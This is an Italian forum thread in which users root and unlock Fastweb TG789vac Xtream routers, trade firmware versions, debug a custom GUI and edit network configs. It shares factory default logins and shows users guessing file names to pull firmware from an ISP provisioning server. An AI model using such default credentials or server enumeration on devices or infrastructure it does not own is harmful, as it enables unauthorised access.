content_by_lua(nginx.conf:109):4: in function <content_by_lua(nginx.conf:109):1>, client: 192.168.1.109, server: localhost, request: "GET / HTTP/1.1", host: "192.168.1.254", referrer: "http://192.168.1.254/"
a proposito del VBNT-F ci sono delle incompatibilità con la GUI di Asuel... ad esempio i binari compilati per DGA non vanno su quel router, devono essere ricompilati in modo diverso (vedi thread "OpenWrt Chaos Calmer su AGTEF/AGTHP").
@matteone2
La versione del kernel sul firmware che ho postato io e' 3.4.11-rt19.
E non si tratta di Chaos Calmer, ma una versione precedente, credo 12.06 o 12.09.
-
ma possibile che nessuno è riuscito a trovare i firmware veri e propri?
comunque ora ho questo modem
firmware
16.1.6637-2081001-20160329170703_FW_108_MOS_TG789vacXtream
firmware IN CWMPD.DB (cosa il cwmp legge ) 16.1.6637_FW_108_MOS_TG789vacXtream
io si ne ho 2
-
@ItalianGamer91 più di una volta mi sono chiesto se lo fai apposta a postare solo per fare innervosire: li hai, postali!
-
si che li ho devo solo cercarli nel mio hd ok statti calmo grazie
-
La versione del kernel sul firmware che ho postato io e' 3.4.11-rt19.
E non si tratta di Chaos Calmer, ma una versione precedente, credo 12.06 o 12.09.
Si , ti confermo che il kernel è sempre quello:
DGA4132 (firmw 17.3.c.0349 cioè il 2.0.0 secondo nomenclatura TIM):
Linux dga4132 3.4.11-rt19 #1 SMP PREEMPT Sat Oct 13 02:11:09 UTC 2018 armv7l GNU/Linux
DGA4130 (firmw 17.3.c.0349 cioè il 2.0.0 secondo nomenclatura TIM):
Linux dga4130 3.4.11-rt19 #1 SMP PREEMPT Sat Oct 13 02:11:09 UTC 2018 armv7l GNU/Linux
XTREAM fastweb (firmw 16.1.6637)
Linux OpenWrt 3.4.11-rt19 #1 SMP PREEMPT Tue Mar 8 06:19:41 CET 2016 armv7l GNU/Linux
XTREAM faastweb (firmw 16.1.6866)
Linux OpenWrt 3.4.11-rt19 #1 SMP PREEMPT Thu May 19 20:58:30 CST 2016 armv7l GNU/Linux
Per aggiungere pacchetti aggiuntivi al firmware esistente (es. trasmission , aria2 o altro) è stato creato un albero di compilazione "misto" basato su chaos calmer, i sorgenti closed di Technicolor ed il kernel 3.4.11. I binari funzionano sui DGA ma non sui router fastweb perchè ci sono delle differenze importanti nei parametri di configurazione. Sto provando la build adatta a fastweb ma prevedo sia un lavoro lungo :facepalm:
ma possibile che l'rbi di sto modem si sia volatilizzato....
Io mi domando se esista un xtream che abbia fatto l'aggiornamento firmware via cwmp ....
io si ne ho 2
Secondo me hai quelli del DGA4131 Fastweb, quelli si possono trovare sul loro ACS
-
dai un'occhiata su, ho aggiunto un pezzetto all'ultimo messaggio.
puoi andare gentilmente in gateway e fornirmi il codice firmware completo grazie?
-
Io mi domando se esista un xtream che abbia fatto l'aggiornamento firmware via cwmp ....
straquoto
-
straquoto
se qualcuno mi da il codice firmware completo che trova in gateway potrei scaricarlo
-
Te lo ha scritto prima Ansuel, e ne trovi un altro paio in cima a questo thread oltre che varie altre volte sempre in questo thread, il punto è che dei file del VBNT-F sul solito ACS non c'è traccia.
Comunque ho controllato la config di cwmpd sul firmware 16.1.6866_FW_111_IAD_TG789vacXtream che mi ha mandato @matteone2 e non è buggato come quello dell'MOS di @saronno76 quindi almeno a me sembra che l'IAD sia in grado di aggiornarsi o anche solo connettersi all'acs. Ad ogni modo ora riprovo un paio di cose che avevo già tentato prima senza i dati corretti presi dal dump dell'IAD e se scopro qualcosa di utile vi faccio sapere.
-
Te lo ha scritto prima Ansuel, e ne trovi un altro paio in cima a questo thread oltre che varie altre volte sempre in questo thread, il punto è che dei file del VBNT-F sul solito ACS non c'è traccia
eureka trovato il firmware ma solo il 16.1 sulla mia repo lo trovate nella cartella vac xtream il ritrovamento è stato veramente una follia
http://59.0.121.191:8080/ACS-server/file/16.2.7384-2341002_FW_209_MOS_TG789vacXtream.rbi non va
http://59.0.121.191:8080/ACS-server/file/16.1.6637-2081001_FW_108_MOS_TG789vacXtream.rbi si che va
-
Oh bene! Ora si che ci siamo, ci voleva anche quel pezzo di versione tra la build e il suffisso.
-
Oh bene! Ora si che ci siamo, ci voleva anche quel pezzo di versione tra la build e il suffisso.
si però il merito ed il studio vanno a me ed alla community. se mi date i codici completi ve li fornisco i firmware.
-
Avevo pure provato con la build completa ma non aggiungendone solo un altor pezzettino.
@ItalianGamer91 ora recupero anche quell'altro di cui ho il dump, ma altri non ne ho
-
Quelli recuperati li trovate nella repo su questo sito.
-
Bene! Adesso ho il necessario per il debrick di un mio XTREAM (dove avevo fatto l'erase di mtd3 e mtd4)
Io sull'ACS avevo provato a cercare solo i 16.2 , non mi era proprio venuto in mente di provare con i 16.1 :headbang:
-
provate questa:
http://59.0.121.191:8080/ACS-server/file/16.2.7825-3401002_FW_212_MOS_TG789vacXtream.rbi
-
@saronno76 quella che hai messo l'avevo provata ma non credo sia ma ha davvero un bug sul cwmp per cui mi pare giusto che l'abbiano tolta dal serer se davvero c'è stata. Ora spenno anche quest'ultimo rbi e vediamo se quel problema c'è ancora.
-
@LuKePicci
una curiosità ... i firmware 16.1 hanno il simbolo "_" prima di FW mentre i 16.2 hanno il segno "-" ?
Allora potresti provare questi:
16.2.7384-2341002-FW_209_MOS_TG789vacXtream.rbi
16.2.7825-3401002-FW_212_MOS_TG789vacXtream.rbi
-
Tutti gli rbi, così come li vedi nominati così sono sull'acs. Li ho provati entrambi, non vanno, Mi resta solo da provare s ene esiste una di MOS più recente di quella che ho caricato.
edit: credo di averli trovati tutti tranne quello di cui @saronno76 ha condiviso il dump
edit2: ok ho capito l'inghippo, in pratica sembrano aver messo nel nome file dell'ultimo firmware FW_212 la stessa mask del precedente, nonostante dal file /etc/config/version ne risulti una nuova, quindi fate attenzione
-
Guarda che hai gia' scaricato anche quello.
La sigla che ti avevo dato su era basata se env e version del mio.
-
comunque ho messo compatibilità di gui con l'ultima versione dev
non so però se ci sono parti buggate (probabilmente) attendo verifiche...
-
Ok, quel problema nel file di config del cwmpd è un finto problema, quell'opzione per l'enforce di https probabilmente è ininfluente perchè è scritta male, c'è scritto "enfore_ssl" invece di "enforce_ssl"... vabbè
-
Buona sera sapete se anche fastweb ha fatto un firmware libero per usare il modem sudetto con altri operatori? Grazie
-
Puoi sbloccare il TG789vac Xtream 35B con la procedura presente in questo thread e poi installi la GUI DEV di Ansuel, che però ancora non è pienamente funzionante per questo modello di router. C'è una issue aperta su github, incrociamo le dita :)
-
Grazie a me serve giusto per fare una connessione ADSL per un amico.
-
Salve a tutti, possiedo questo modem brandizzato fastweb e mi chiedevo se fosse possibile utilizzarlo anche con Tim.
Nel caso andasse sbloccato mi sapete dire quanto puo' essere lungo e complicato il procedimento ed indirizzarmi su dove guardare per farlo?
Grazie a tutti.
Rispondo dicendo che anche io sono interessato al riutilizzo di questo modem marchiato fastweb con Tim.
Pur non essendo proprio un neofita di questo tipo di interventi non riesco a sbloccarlo..
Non ho visto su questo thread una procedura step by step...ma se mi sbaglio vi saremmo grati se ci dite questa guida quale numero di post sia...o a che pagina del thread...
Grazie
Filippo
-
@filofast @rusudanion @cloud155
la procedura è nella prima pagina, di seguito il link:
https://www.ilpuntotecnico.com/forum/index.php/topic,78382.msg230064.html#msg230064
-
Ho fatto lo switch sul bank_2 ma non riesco più ad accedere con le credenziali di default sulla GUI!
Qualcuno mi indica le modalità per far avvenire un bank switch non software!?
-
Sul TG789vac Xtream di fastweb le credenziali di default sono diverse a seconda che il firmware sia MOS o IAD ( Administrator senza password in un caso, admin con password admin nell'altro) hai provato entrambe le combinazioni ? PS: attenzione alle maiuscole/minuscole, gli utenti sono esattamente come ho scritto
-
La prima sicuro, mentre admin:admin mi sembra di averle provate ma riprovo per sicurezza...
-
Niente non funziona neanche admin:admin!
-
Allora non resta che fare un reset alle impostazioni di fabbrica
-
@zi0Black Dopo il reset di fabbrica procedi così:
Se adoperi il modem come IAD (collegato al telefono) usa fastweb come username e password lascia il campo vuoto.
Se adoperi il modem come MOS (non collegato al telefono, non VoIP) usa Administrator e password lascia il campo vuoto.
Successivamente potrai impostare le credenziali a tuo piacimento.
Comunque tutti i vac Xtream 35b montano "in segreto" OpenWRT, accessibile mediante lanadmin (superuser).
Puoi farlo tu stesso se rooti la CPE o un HelpDesk di secondo livello che ha accesso a PuttY.
-
Tnx
-
buongiorno qualcuno e riuscito rootare il firmware 16.2.7825-2349001-FW_212-MOS_TG789vacXtream.rbi grazie
-
È scritta in prima pagina la procedura, comunque dovrebbe andare bene anche quella "veloce" (senza usare nc) che si usa su firmware Tiscali
https://www.ilpuntotecnico.com/forum/index.php/topic,77988.msg227861.html#msg227861
-
@matteone2 a te funziona la GUI di @Ansuel ?
Io continuo a provare la GUI_dev senza successo sul firmware 16.2.7825...
Con la 9.20 ora quando faccio l'ultimo passo lo script mi restituisce i seguenti errori:
root@OpenWrt:/tmp# /etc/init.d/rootdevice force
Root Script: Rooting in progress...
stopped ledfw.lua (pid 1728)
sh: ERROR invalid path rpc.hosts.: bad number
stopped ledfw.lua (pid 9374)
sh: ERROR invalid path rpc.hosts.: bad number
Root Script: Detected low flash space device...
/usr/bin/lua: /usr/lib/lua/web/content_helper.lua:20: attempt to index global 'ngx' (a nil value)
stack traceback:
/usr/lib/lua/web/content_helper.lua:20: in function 'setlanguage'
/usr/lib/lua/web/content_helper.lua:71: in function 'getExactContent'
/sbin/trafficdata.lua:118: in main chunk
[C]: ?
start-stop-daemon: warning: killing process 5474: No such process
-
Sono listati qui tutti i problemi
https://github.com/Ansuel/tch-nginx-gui/issues/529
Nonostante gli errori hai provato ad aprirla?
-
Avevo già visto la issue su github, comunque grazie.
Si, ho provato a utilizzare la GUI ma non ci sono molte funzioni che vanno... (però da quanto ho capito a @matteone2 funzionava più roba che a me...)
-
Ho installato la GUI_dev : la prima che ho messo è stata la 8.13.4 e poi le ho messe quasi tutte, fino ad arrivare alla 9.0.24 . Come estensione ho applicato la Telstra GUI, ma l'ho installata "a mano" perchè da card non mi andava (diceva GUI installata anche se non lo era)
Il bug report che ho messo su github è relativo al solo tentativo di aprire le card una ad una, poi non ho provato tutte le opzioni. Spero che gli errori siano dovuti alla mancanza di qualche file rispetto agli AGTEF/AGTHP e non alla necessità di rivedere il codice :pray:
@zi0Black quando hai degli errori in fase di installazione GUI, prova a fare una seconda volta il bzcat ed il rootdevice force
-
Anche questo modello ha sempre OpenWRT installato. Per qualsiasi problema Fastweb sono a vostra disposizione.
-
Ciao!
io ho il modem fastweb, vorrei usarlo con tim ma ho problemi, esce questo sulla gui
Exact data not found in this paths:
Key wan_ppp_password : [email protected]
-
La GUI è sbloccata o di stock? Nel primo caso potrebbe proprio essere un problema di GUI. Lo usi come IAD o MOS?
-
credo intenda GUI Ansuel e' un messaggio di debug inserito solo in quella
-
Ok ma se è IAD mi sa che non può usarlo come modem TIM. Fastweb ha una mega intranet tutta sua e non mi pare abbia ancora introdotto nei fw lo sblocco dei modem IAD per altri operatori.
Se è MOS allora c'è qualche problema della GUI, perché potrebbe usarlo come TIM senza problemi.
-
@Combine io ho provato un IAD su Vodafone in passato e funziona regolarmente una volta sbloccato se correttamente configurato, la topologia di rete fastweb non è un impedimento
-
@Combine io ho un IAD ed un MOS e non ho avuto particolari problemi a configurarli con altri gestori.
Comunque, si può sempre mettere il firmware MOS al posto dell'IAD
-
credo intenda GUI Ansuel e' un messaggio di debug inserito solo in quella
Ciao Confermo, gui Ansuel.
La GUI è sbloccata o di stock? Nel primo caso potrebbe proprio essere un problema di GUI. Lo usi come IAD o MOS?
sbloccata, credo che sia IAD, dovrei verificare appena torno a casa
@Combine io ho un IAD ed un MOS e non ho avuto particolari problemi a configurarli con altri gestori.
Comunque, si può sempre mettere il firmware MOS al posto dell'IAD
c'è qualche guida ? ho provato vari firmware con tftpd, ma quando si riavvia viene su l'immagine di fastweb, ho accesso ssh, quando provavo via ssh, sia bin che rbi diceva che non poteva decifrare la chiave.
-
@joaquinjsb io l'ho fatto tempo fa tramite GUI, tenendo presente che manca un file per l'upgrade (vedi sotto)
Prestare sempre attenzione, dato che se va male qualcosa si rischia il brick
Condizione iniziale:
- Firmware 16.2.7825-2349001-FW_212-IAD_TG789vacXtream su bank_1
- Root + GUI 9.0.11
- Bank 1 attivo
- Importante: copiare da un DGA4130/DGA4132 il file /lib/functions/system.sh nella cartella /lib/functions del TG78vac Xtream 35B
- upgrade firmware da GUI (card "Modem" -> opzione "Upgrade firmware") usando il file "16.2.7825-2349001-FW_212-MOS_TG789vacXtream.rbi"
- riavvio
Poi ho dovuto riapplicare la GUI da SSH perchè aveva dei comportamenti "strani", ma il cambio firmware è andato a buon fine :)
-
Ciao,
hai un mirror dal quale possa prendere entrambi i file ?
-
ho provato vari firmware con tftpd, ma quando si riavvia viene su l'immagine di fastweb
Due cose. Primo, quali firmware hai provato? Perchè gli unici che io conosco per questo device sono quelli Fastweb che vedi qui nella repository di Ansuel. Se ne hai provati altri per il 789vac v2 VANT-6 sappi che non sono compatibili con questo 789vacXtream VBNT-F. Secondo, se dopo il flash via tftp sei ancora sul firmware di prima vuol dire che il banco firmware attivo è il secondo, mentre tftp carica solo sul primo.
Detto questo, siccome il tuo problema nel farlo funzionare con TIM non dipende dalla versione firmware, e siccome non puoi far altro che metterne un altro Fastweb, inizia a farlo funzionare col firmware che hai ora, poi magari se vuoi puoi aggiornarlo, ma solo in un secondo momento. Puoi vedere quale sia il banco attivo leggendo il file /proc/banktable/active e quello avviato in /proc/banktable/booted, tieni anche presente che se hai caricato un firmware non valido con tftp su banco 1, avrai l'1 in active e il 2 in booted, perchè quello che hai messo sull'1 non può funzionare.
-
@LuKePicci è importante copiare quel file dal DGA, altrimenti l'upgrade (sia da GUI, sia da riga comando con sysupgrade) non va a buon fine
@joaquinjsb i firmware buoni li trovi sul repository del forum ( percorso /Ansuel/FASTWEB/TG789vacXtream/ ), per il file del DGA chiedo se qualcuno può farne l'upload sul repository :help:
-
Ok ma a che serve caricarlo con sysupgrade una volte che hai il root? Cioè, magari diventa più semplice, ma altrimenti io ho sempre trovato più comodo farlo con tftp o direttamente con dd dal file decriptato. Il (mio) "problema" con sysupgrade è che gli script preparatori fanno "cose" in più su cui non ho il completo controllo, per cui di solito evito di usarlo. Grazie per l'hint, nel caso mi trovassi a doverlo usare saprò cosa andare a controllare per prima.
-
@joaquinjsb i firmware buoni li trovi sul repository del forum ( percorso /Ansuel/FASTWEB/TG789vacXtream/ ), per il file del DGA chiedo se qualcuno può farne l'upload sul repository :help:
perfetto, scarico dalla repo, ieri non andava :( qualcuno per il file DGA ? :(
Due cose...
Ciao,
esatto proprio quello, 789vac v2 VANT-6 e qualche altro trovato su whirpool, il bank bootato e attivo era il primo
vi confermo stasera appena rientro in casa.
confermo è un IAD, 16.2.7825-3401001-20170627171140_FW_212_IAD_TG789VACXtream
-
ma tftp non controlla prima di scrivere in rom ? come hai fatto a mettergli un firmware corrotto?
comunque il file del dga: https://raw.githubusercontent.com/FrancYescO/tch_firmware_extracted/AGTHP_1.1.2/lib/functions/system.sh
fai attenzione anche con i permessi immagino debba avere +x
domanda stupida: ma perche' hanno differenziato i firmware? non sarebbe bastato quello unico su cui semplicemente non abilitavano l'account voip?
-
Perché Fastweb deve complicare la vita a tutto e a tutti.
-
Magari controlla solo che non sia più grande di un tot, o manco quello, bho, non ho mai provato.
Sicuramente con un minimo di astuzioa avrebbero potuto evitare di differenziarli. Però così facendo impediscono ad un device nato MOS di poter essere usato al posto di un IAD (a meno di un cambio firmware ovviamente). Inoltre vincolano tutta la parte voip ad un firmware nominalmente diverso e più blindato. Non so quali di preciso, ma avranno avuto le loro ragioni.
-
@LuKePicci è fatto apposta. Perché successivamente hanno rilasciato la CPE Unica (prima Askey poi Technicolor DGA3141) che invece tale problema non lo hanno.
E' stata tutta un'operazione di marketing per spingere i clienti ad acquistare la UCPE.
Inserire un firmware MOS in un xtream 35b nato come IAD si può fare ma poi insorgono questi problemi (specialmente alla parte fonia), poiché di fabbrica sono o IAD o MOS.
-
quali problemi insorgono? non sparano la config voip ai seriali nati IAD?
-
Il 4131 che ho io è IAD, ma non so se ne esistano versioni MOS. Per quanto riguarda lo switch MOS/IAD invece non c'è alcun problema, io l'ho fatto molte volte, una volta rimpiazzato il fatto che di fabbrica fosse di un altro tipo viene completamente rimosso. La differenza sta tutta nel template delle config di fabbrica. Si può anche switchare tipo semplicemente cambiando le settings dopo averlo sbloccato e senza rimpiazzare il firmware. Ovviamente poi va rifatto il bootstrap su cwmp; normalmente lo farebbe al reset, ma col reset diventerebbe di nuovo del tipo originale, quindi va forzato a mano.
-
No, gli Askey e i DGA4131 sono Cpe Uniche perché entrambe MOS/IAD contemporaneamente.
Tutte le altre esistono le rev mos e le rev iad (precisamente per i tg789 vac v2 e tg789 vac xtream 35b).
Poi vi sono altrettante sottorev che non sto qui a dire.
-
Si ma mettiamo che io prendo un Xtream 35b IAD, gli rimpiazzo il firmware con un MOS, lo metto li dove c'era un bellissimo askey che forniva anche voip... quali svantaggi avrei?
-
@joaquinjsb io l'ho fatto tempo fa tramite GUI
ho messo questo firmware, ma la GUI mi da questo errore:
root@OpenWrt:/mnt/usb/Philips_USBFlashDrive_1_a6be# /etc/init.d/rootdevice force
Root Script: Rooting in progress...
Root Script: Detected low flash space device...
lua: (command line):1: ')' expected near 't'
lua: (command line):1: ')' expected near 't'
start-stop-daemon: warning: killing process 7858: No such process
https://github.com/Ansuel/gui-dev-build-auto
ho usato quella stabile, ma mi da errori, quale gui consigliate ?
-
@FrancYescO nessuno. Ma tu sei in grado di farlo. Rispondevo più che altro ai dubbi dei post precedenti. Mentre per un xtream 35b occorre effettuare questi "smanettamenti" Askey e DGA4131 sono direttamente MOS e IAD contemporaneamente, e per mia opinione personale l'ultimo da me citato è superiore al 35b (parlando sempre di CPE proprietarie).
-
@FrancYescO nessuno, in teoria non ti si autoconfigura con i dati del voip, ma se lo camuffi opportunamente lo fa ugualmente.
@Combine, si è vero infatti nel nome del firmware del 4131 non appare la tipologia, ma spulciando tra i file ho trovato riportata la dicitura IAD, penso abbiano usato quella come base per la release unica.
-
@Combine il WOW-FI viene supportato sia su IAD che su MOS o solo sul primo?
E sì, il 4131 è superiore, ma a quanto pare ha la tendenza a friggersi… qualcuno qui sa di cosa parlo.
-
ho sistemato la GUI, ma non riesco comunque a settare la configurazione del ppoe
Exact data not found in this paths:
Key uci_wan_password : [email protected]
-
@joaquinjsb nonostante gli errori hai provato a vedere se funziona? hai aspettato completasse?
@Combine si avevo inteso... quindi per farla breve lo Xtream 35B MOS puo' essere considerata una CPE unica (cosi come tutti gli altri firmware MOS), sono i firmware IAD che di senso di esistere non ne hanno, poi che il 4131 sia superiore non c'e ombra di dubbio, come processore siamo su tutt'altri livelli (oltre al fatto che ha anche SFP) ma questo e' un'altro discorso
PS. e come dice @LuKePicci io continuo ad avere l'impressione che i 4131 li hanno tolti dalla circolazione perche' si friggono...
-
@LuKePicci il WoW FI è un servizio a parte, supportato da entrambe le versioni
@FrancYescO siamo sempre lì. colpa delle ultime release dei firmware fatte alla strac.... di cane
-
@joaquinjsb nonostante gli errori hai provato a vedere se funziona? hai aspettato completasse?
il commando ha finito, non c'era niente penso, comunque niente.
-
Io credo che "far diventare un modem nativo IAD / MOS" e viceversa non sia una grande idea.
Alcune volte la conf non funziona perché, detto molto riassuntivamente, uno IAD si affaccia allo slot bng (quindi con relativo bounding DHCP) in un certo modo, il MOS con un altro (vedi vpi/vci 8/36) ecc ecc.
Con i MOS la parte voip non serve poiché la fonia è a parte e su doppino (parliamo appunto di 2P MOS) cosa diversa invece per gli IAD che sono su VoIP.
Con il vac xtream 35b allora ok poiché hanno il vantaggio di essere quasi tutti (o tutti) con OpenWRT "nascosto" ma per il vac v2 la cosa si complica.
Sono proprio due modelli completamente diversi con un hw e un firmware diverso. Io direi di lasciar perdere prima di brickare la cpe.
-
Per il 789vac il discorso è molto diverso, c'è una scelta di firmware molto più ampia tra cui UNO che resta sempre il consigliabile da installare, essendo il più aggiornato/configurabile
Su questo Xtream i firmware utilizzabili sono solo quelli di Fastweb, motivo per il quale conviene mettere quello "con più funzioni" (ovvero quello con il VoIP) e poi sfruttare la GUI mod per sbloccarlo e renderlo configurabile per tutto (bhe sì quando si risolveranno tutti i problemi di incompatibilità..)
-
io ho preso questo firmware: 16.2.7825-2349001-FW_212-MOS_TG789vacXtream.rbi
mi confermi che sia quello con più funzionalità ? la gui non mi permette comunque di mettere la password per la connessione,
# Configure pppoe connection
uci set network.wan.proto=pppoe
uci set network.wan.username='numerotelefono'
uci set network.wan.password='timadsl'
# Save changes
uci commit network
# Restart network service to reflect changes
/etc/init.d/network restart
ho provato pure con questi commandi, forse devo mettere altro? con mio pc windows sono riuscito a fare una pppoe con utente tim, password tim
-
Condividi il file /etc/config/network
Dopo quei comandi uci, la gui continua a restituirti lo stesso errore nella modal internet?
-
ciao,
l'errore c'era comunque sulla GUI, invece dai logs vedevo che i jumbo frames venivano rifiutati, il file te lo condivido appena torno a casa alle 13
-
@FrancYescO hai detto più o meno le stesse cose che ho detto io, ma l'incompatibilità di cui parli non la risolveranno mai, è una cosa voluta per favorire l'acquisto delle UCPE.
-
Io di incompatibilità parlo di quella della gui (questo problema che sta riscontrando joa e gli altri segnalati su GitHub) di quello che fa Fastweb a questo punto ci interessa poco una volta che c'è un firmware con openwrt sbloccabile
Anzi una cosa potrebbe essere interessante: avere un modo semplice per prendere i parametri del VoIP per chi poi voglia utilizzare questi dispositivi su linea Fastweb
-
io ho preso questo firmware: 16.2.7825-2349001-FW_212-MOS_TG789vacXtream.rbi
No, il firmware con VoIP è quello IAD
-
@Combine io lo switch da MOS ad IAD l'ho fatto proprio su un 789vac v2, il fatto è che la maggior parte delle differenze nelle config (eliminazione account admin, permessi sulle config del voip, shaping e tunnel GRE per wow-fi) sono apportate post-provisioning remoto al primo avvio tramite script STS, quindi grossi problemi di switch a caldo (cioè cambiare l'identità di un MOS in IAD per fare in modo che venga configurata anche la fonia voip, e viceversa, pe non so quale motivo utile) non ce ne sono. Su questo Xtream 35b la cosa sembra un pochino più semplice ma neanche troppo, da questo punto di vista le cose non mi pare siano cambiate molto.
@FrancYescO non direi che una versione è più o meno completa dell'altra, ma il contenuto delle due varianti per questo device non l'ho confrontato. Sul vecchio modello, consigliavo MOS perchè di fabbrica aveva l'account Administrator sbloccato, e a cambiarlo in IAD ci oleva poco, bastava rimpiazzare completamente qualche file di config in /rw/dl. Su questo 35b, dato che il root non dipende da quanto sia o meno sbloccato di fabbrica, secondo me conviene semplicemente tenere installata la revision FW_XXX più recente, che di solito è proprio IAD, e che nel caso ci siano effettivamente delle differenze di contenuto, dovrebbe anche essere quella più completa.
-
Visto che le ultime versioni recuperate dall'ACS sono FW_212 (sia IAD che MOS) penso sia facile decidere quale installare :)
-
@Combine scusa la mia ignoranza ma la voglia di smanettarci è tanta. Ho due xtream 35b MOS. E possibile configurare una classica connessione ADSL(non fastweb) senza la GUI di Ansuel? Cioè l'ultimo, firmware e libero? Oppure devo per forza mettere la GUI fi Ansuel per poterlo configurare con altri operatori? Grazie
-
Il firmware non è libero, la custom GUI non è necessaria almeno che tu non intenda fare tutto da interfaccia grafica, quello che la custom GUI ti permette di fare puoi farlo ugualmente senza da riga di comando una volta fatto il root del router. E sì, puoi usarlo per una qualsiasi adsl non fastweb ma devi toccare varie settings perchè quelle di default per fastweb sono molto differenti. In questa discussione c'è stato già qualcuno che ci ha provato su TIM, alla fine mancava solo da attivare il NAT se non erro ma la connessione funzionava.
-
Per i MOS è possibile, per gli IAD che io sappia non è ancora stato introdotto l'aggiornamento per sbloccare la cpe vs altri operatori (con VoIP), dunque tramite GUI e FW stock non si può fare.
-
Su quale versione di firmware MOS c'è lo sblocco operatore ?
-
In linea teorica i modem MOS (quindi su linea POTS) si possono usare tranquillamente configurandoli con i parametri dell'ISP che interessa.
E' per gli IAD il problema, che essendo in VoIP sono "immersi" nella "megaintranet" Fastweb con le sue particolarità, e c'è un'associazione DHCP/MAC (e VPI/VCI 8/36 se non erro) che li rende sbloccabili solo smanettandoci (tipo il TIM Hub)
La tipologia di modem MOS è molto meno vincolata diciamo. Personalmente non ho mai provato ma come ti dicevo prima teoricamente non hanno bisogno di un vero e proprio sblocco, solo del settaggio giusto.
Se avrai difficoltà mi informerò meglio, ma dovrebbe essere così.
-
Più che altro era per capire se con i MOS i servizi VoIP fossero "castrati" ... mi immaginavo che con IAD essendo già previsti/attivi, bastasse una riconfigurazione (anche profonda) per farli andare.
Potrei al limite modificare una config dal 4130 quanto basta per farla digerire al Xtream 35B , non è molto difficile ;)
-
Bravo hai compreso. Ma anche con gli IAD, smanetti e via! :D
-
Per i MOS è possibile, per gli IAD che io sappia non è ancora stato introdotto l'aggiornamento per sbloccare la cpe vs altri operatori (con VoIP), dunque tramite GUI e FW stock non si può fare.
grazie, quindi secondo te quale firmware MOS è migliore? A me serve solo per adsl, niente Voip. Sto provando a configurare dalla GUI di @Ansuel nella. Configurazione guidata da un sacco di errori e non mi fa impostare la password WiFi. Qualcuno conosce i comandi ssh nel caso volessi impostare manualmente la connessione.
-
Se lanciate opgk update anche voi puntate a una directory che non esiste nella repo?
root@OpenWrt:~# opkg update
Downloading http://downloads.openwrt.org/attitude_adjustment/12.09.1/brcm63xx-tch/VANTW/packages/Packages.gz.
wget: server returned error: HTTP/1.1 404 Not Found
Collected errors:
* opkg_download: Failed to download http://downloads.openwrt.org/attitude_adjustment/12.09.1/brcm63xx-tch/VANTW/packages/Packages.gz, wget returned 1.
Un'altra cosa voi riuscite ad aprire la tab delle reti wireless? Perché a me non funziona, rimane in caricamento all'infinito... Anche le tab gestione utenti e rete locale non funzionano, ma queste ultime due vanno proprio in 500
-
La tab wireless si apre dopo un bel po' di tempo, ma non funziona. Le altre ti confermo che danno errore 500 : sono tutti bug già segnalati ad Ansuel su github
-
Ok, volevo essere sicuro che non ci fosse già qualche workaround :)
-
Ciao a tutti!
scusate, qualcuno è riuscito a metterlo in bridge mode ?
se si, come ?
Grazie in anticipo
-
Non l'ho mai provato su questo modello ma funzionano tutti alla stessa maniera. Basta che metti mano al file /etc/config/network, un bridge per lan con dentro tutte le porte ethernet dello switch già c'è, o ci metti dentro anche il modem o ne crei uno separato solo per modem e porta ethernet dello switch da cui vuoi che ci sia bridging.
-
grazie per la risposta, hai pere caso a portata di mano un file già pronto ? così gli do uno sguardo e modifico il mio
Grazie
-
No ovviamente, ogni file contiene le impostazioni specifiche per quel modello e per il tuo setup di rete, se ti do il mio di un modello diverso metà delle cose smettono di funzionare, devi studiare come è fatto quello funzionante che hai ora e intervenire come credi funzioni meglio
-
se hai due minuti per darmi una dritta... ecco il mio file
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config globals 'globals'
option default_ps '0'
config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ipaddr '192.168.1.254'
option ip6assign '64'
option force_link '0'
option ipv6 '1'
option ifname 'eth0 eth1 eth2 eth3 eth5'
list pppoerelay ''
config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'
config interface 'wan'
option proto 'dhcp'
option reqopts '1 3 6 15 33 42 43 51 121 249 212'
option vendorid 'Technicolor_TG789vacXtream_IAD/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option ipv6 '0'
option auto '0'
option notused '10:13:XX:XX:XX:XX'
config device 'vlan_ptm0'
option type '8021q'
option ifname 'ptm0'
option mtu '1500'
option name 'vlan_ptm0'
option vid '100'
config interface 'wantag'
option proto 'dhcp'
option reqopts '1 3 6 15 33 42 51 121 249 212'
option vendorid 'Technicolor_TG789vacXtream_IAD/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option ipv6 '0'
option auto '0'
option notused '10:13:XX:XX:XX:XX'
option ifname 'vlan_ptm0'
config interface 'wwan'
option auto '1'
config config 'config'
-
Avevo capito, ma se ti faccio vedere il mio ti metti le mani nei capelli.
Comunque, pare che la tua interfaccia del modem sia vlan_ptm0, o direttamente ptm0 se vuoi delegare anche il tagging al router a valle. Vedi tu come ti fa più comodo. Come esempio di bridge puoi guardare l'interfaccia 'lan'. O ne fai uno uguale spostando lì dentro solo la porta ethernet che vuoi usare o aggiungi il modem a 'lan'
-
perfetto grazie!
così pensi che possa bastare ?
config interface 'loopback'
option ifname 'lo'
option proto 'static'
option ipaddr '127.0.0.1'
option netmask '255.0.0.0'
config globals 'globals'
option default_ps '0'
config interface 'lan'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ipaddr '192.168.1.254'
option ip6assign '64'
option force_link '0'
option ipv6 '1'
option ifname 'eth0 eth1 eth2 eth3'
list pppoerelay ''
config interface 'lan2'
option type 'bridge'
option proto 'static'
option netmask '255.255.255.0'
option ipaddr '192.168.1.253'
option ip6assign '64'
option force_link '0'
option ipv6 '1'
option ifname 'eth5 vlan_ptm0'
list pppoerelay ''
config switch 'bcmsw'
option reset '1'
option enable_vlan '0'
option qosimppauseenable '0'
option jumbo '0'
config interface 'wan'
option proto 'dhcp'
option reqopts '1 3 6 15 33 42 43 51 121 249 212'
option vendorid 'Technicolor_TG789vacXtream_IAD/dslforum.org'
option authfail '0'
option iface6rd '6rd'
option zone6rd 'wan'
option mtu '1500'
option initboot '1'
option ipv6 '0'
option auto '0'
option notused '10:13:XX:XX:XX:XX'
config device 'vlan_ptm0'
option type '8021q'
option ifname 'ptm0'
option mtu '1500'
option name 'vlan_ptm0'
option vid '100'
config interface 'wantag'
option proto 'dhcp'
option reqopts '1 3 6 15 33 42 51 121 249 212'
